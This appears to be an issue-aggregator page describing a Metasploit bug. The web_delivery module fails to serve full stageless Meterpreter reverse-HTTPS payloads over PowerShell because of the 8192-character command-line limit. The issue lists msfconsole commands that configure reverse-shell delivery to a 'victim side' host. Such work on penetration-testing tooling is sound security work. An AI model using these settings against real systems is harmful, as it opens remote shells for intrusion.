web_delivery + PSH should support full stageless payloads without command line limits
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 35/100
Research direction
Start with the multi/script/web_delivery module and the PowerShell execution path that raises the 8192-character exception, especially the Process.Start($s) method shown in the report. Reproduce the failure with a full windows/x64/meterpreter_reverse_https payload, then trace the existing remove_comspec and exec_in_place behavior. Done means full stageless payload delivery through IEX without the command-line length failure, with coverage for the reported case.
Written by the indexing model from the issue text.
Description
I was expecting to deliver full stageless payloads with PSH + web_delivery but it seems there is a command line limit restriction in the way.
use multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter_reverse_https
set EXTENSIONS stdapi,priv
set LHOST a.b.c.d
set LPORT xxx
set exitonsession false
set URIPATH /test
well, it really doesn't matter adding stdapi and priv, with the full metsrv is enough to break the command line limit
when downloading payload from /test URI
web_delivery - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)
problem is downloaded execution method tries to run a command line along the way
$p=[System.Diagnostics.Process]::Start($s);
I don't clearly see why there should be this command line restriction when we are already running powershell code victim side and we are able to execute whatever powershell script we download with IEX
Am I missing something obvious here?
I'm using latest dev version
I've already tried Powershell::remove_comspec and Powershell::exec_in_place with same results.
Maybe generated payload should be smarter in this case and not use command line as it will be executed by IEX anyway no matter how large it is.
- Dominant language
- Ruby
- Stars
- 39k
- Forks
- 15k
- Avg merge
- 5d 6h
- Merged PRs (30d)
- 32
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from rapid7/metasploit-framework
-
suggestion-docs
Difficulty 1/5 Under an hour Newbie friendliness 88/100
rapid7/metasploit-framework#21669 · 2 comments · 1 reaction ·
-
suggestion-docs
Difficulty 1/5 Under an hour Newbie friendliness 76/100
rapid7/metasploit-framework#21503 · 2 comments ·
-
suggestion-docs
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
rapid7/metasploit-framework#20663 ·
-
Difficulty 3/5 1-2 days Newbie friendliness 72/100
rapid7/metasploit-framework#21919 ·
-
suggestion-module
rapid7/metasploit-framework#21907 · 1 comment · 1 assignee ·
All issues in rapid7/metasploit-framework
Similar issues
-
バグ
Difficulty 1/5 Under an hour Newbie friendliness 92/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
voxpupuli/puppet-epel#186 · 1 comment ·
-
external_created_at is no longer used for the message timestamp since the new message UI (v4.4.0) OpenBug Frontend
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
TheOdinProject/curriculum#31402 · 1 comment ·
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 78/100